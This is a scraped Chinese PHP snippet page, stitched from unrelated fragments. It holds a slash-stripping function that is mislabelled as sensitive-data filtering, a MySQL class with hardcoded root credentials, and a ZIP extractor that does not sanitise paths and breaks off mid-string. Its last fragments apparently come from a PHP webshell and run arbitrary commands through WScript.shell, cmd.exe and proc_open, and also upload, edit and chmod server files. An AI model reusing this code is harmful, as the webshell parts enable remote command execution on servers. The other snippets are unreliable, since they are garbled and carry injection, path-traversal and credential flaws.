php 批量过滤post,get敏感数据

 更新时间:2016年11月25日 16:30  点击:2133

php 批量过滤post,get敏感数据

if (get_magic_quotes_gpc()) {
    $_GET = stripslashes_array($_GET);
 $_POST = stripslashes_array($_POST);
}

function stripslashes_array(&$array) {
  while(list($key,$var) = each($array)) {
   if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) {
    if (is_string($var)) {
     $array[$key] = stripslashes($var);
    }
    if (is_array($var))  {
     $array[$key] = stripslashes_array($var);
    }
   }
  }
  return $array;
 }

[原创]php数据库连接类

<?php
 class Db{ 
  public $conn;
  public $root='localhost';
  public $user='root';
  public $pass='root';
  public $db='111cn.net';
  public $charset='gb2312';
  public $links='c';
  
  function __construct() {
    $this->connect();
  }
  
  function connect()
  {
   try{
    if( 'p' == $this->links )
    {
     $this->conn = mysql_pconnect($this->root,$this->user,$this->pass) or die(mysql_error());       
    }
    else
    {
     $this->conn = mysql_connect($this->root,$this->user,$this->pass) or die( mysql_error());
    }
    mysql_select_db($this->db,$this->conn); 
    mysql_query("set Names '$this->charset'");
   }catch (Exception $e){
    echo '数据库连接失败,请联系相关人员!';
    exit;
   } 
  }
  
  /*
   query
  */
  
  function query($sql)
  {
   $this->row = mysql_query( $sql,$this->conn ) or die( mysql_error());
   return $this->row;
  }
  /*
    mysql_num_rows total
  */
  function rows($row)
  {
   return mysql_num_rows( $row );
  }
  /*
   get data store array
  */
  function fetch($row,$tag=1)
  {
   if(1 == $tag )
   {
    return mysql_fetch_array( $row );
   }
   else
   {
    $array =array();    
    while( $rs = mysql_fetch_array( $row ) )
    {
     $array[] = $rs;     
    }
   }
   return $array;
  }
  
  /*
   取得刚插入的ID号
  */
  
  function insert_id()
  {
    return @mysql_insert_id($this->row);
  } 
   
    //close current database link
   function close()
   {
   return @mysql_close($this->conn);
   }
   
  
    //test mysql version
   function version()
   {
   $query = @mysql_query("SELECT VERSION()",$this->conn);
   return  @mysql_result($this->$row, 0);
   }
  }
?>

调用方法。

/*
  读取新闻分类
 */
 
 function newOption()
 {
  $str='';
  $Db = new Db();
  $query = $Db->query("Select id,typetitle,typeupid,orderid from cn_111cn where typeupid=0 order by orderid asc");
  $row = $Db->fetch($query,0);
  foreach( $row as $_v => $value )
  {
   $str.="<option value=".$value[0].">".$value[1]."</option>\n";
  }
  $Db->close();
  return $str;    
 }

本站原创转戴载注明 www.111cn.net

public function ExtractFile($header,$to,$zip) {
  $header = $this->readfileheader($zip);

  if (substr($to,-1)!="/") $to.="/";
  if ($to=='./') $to = '';
  $pth = explode("/",$to.$header['filename']);
  $mydir = '';
  for($i=0;$i<count($pth)-1;$i++) {
   if (!$pth[$i]) continue;
   $mydir .= $pth[$i]."/";
   if ((!is_dir($mydir) && @mkdir($mydir,0777)) || (($mydir==$to.$header['filename'] || ($mydir==$to && $this->total_folders==0)) && is_dir($mydir)) ) {
    @chmod($mydir,0777);
    $this->total_folders ++;
    echo 'Extract : ',$mydir,'<br>';
   }
  }

  if (strrchr($header['filename'],'/')=='/') return;
  if (!($header['external']==0x41FF0010)&&!($header['external']==16)) {
   if ($header['compression']==0) {
    $fp = @fopen($to.$header['filename'], 'wb');
    if (!$fp) return(-1);
    $size = $header['compressed_size'];
    while ($size != 0) {
     $read_size = ($size < 2048 ? $size : 2048);
     $buffer = fread($zip, $read_size);
     $binary_data = pack('a'.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
    }
    fclose($fp);
    touch($to.$header['filename'], $header['mtime']);
   } else {
    $fp = @fopen($to.$header['filename'].'.gz','wb');
    if (!$fp) return(-1);
    $binary_data = pack('va1a1Va1a1', 0x8b1f, Chr($header['compression']),
    Chr(0x00), time(), Chr(0x00), Chr(3));

    fwrite($fp, $binary_data, 10);
    $size = $header['compressed_size'];

    while ($size != 0) {
     $read_size = ($size < 1024 ? $size : 1024);
     $buffer = fread($zip, $read_size);
     $binary_data = pack('a'.$read_size, $buffer);
     @fwrite($fp, $binary_data, $read_size);
     $size -= $read_size;
    }

    $binary_data = pack('VV', $header['crc'], $header['size']);
    fwrite($fp, $binary_data,8); fclose($fp);

    $gzp = @gzopen($to.$header['filename'].'.gz','rb') or die("Cette archive est compress

/php调用com 组件wscript.shell执行dos命令
  p('<hr width="100%" noshade /><pre>');
  if ($execfunc=='wscript' && IS_WIN && IS_COM) {
   $wsh = new COM('WScript.shell');
   $exec = $wsh->exec('cmd.exe /c '.$command);
   $stdout = $exec->StdOut();
   $stroutput = $stdout->ReadAll();
   echo $stroutput;
  } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
   $descriptorspec = array(
      0 => array('pipe', 'r'),
      1 => array('pipe', 'w'),
      2 => array('pipe', 'w')
   );
   $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
   if (is_resource($process)) {
    fwrite($pipes[0], $command."rn");
    fwrite($pipes[0], "exitrn");
    fclose($pipes[0]);
    while (!feof($pipes[1])) {
     echo fgets($pipes[1], 1024);
    }
    fclose($pipes[1]);
    while (!feof($pipes[2])) {
     echo fgets($pipes[2], 1024);
    }
    fclose($pipes[2]);
    proc_close($process);
   }

php编辑,上传,修改文件属性代码
  m('文件上传 '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? '成功' : '失败'));
 }

 // 编辑文件
 elseif ($editfilename && $filecontent) {
  $fp = @fopen($editfilename,'w');
  m('保存文件 '.(@fwrite($fp,$filecontent) ? '成功' : '失败'));
  @fclose($fp);
 }

 // 编辑文件属性
 elseif ($pfile && $newperm) {
  if (!file_exists($pfile)) {
   m('原始文件不存在');
  } else {
   $newperm = base_convert($newperm,8,10);
   m('文件编辑 '.(@chmod($pfile,$newperm) ? '成功' : '失败'));
  }
 }

[!--infotagslink--]

相关文章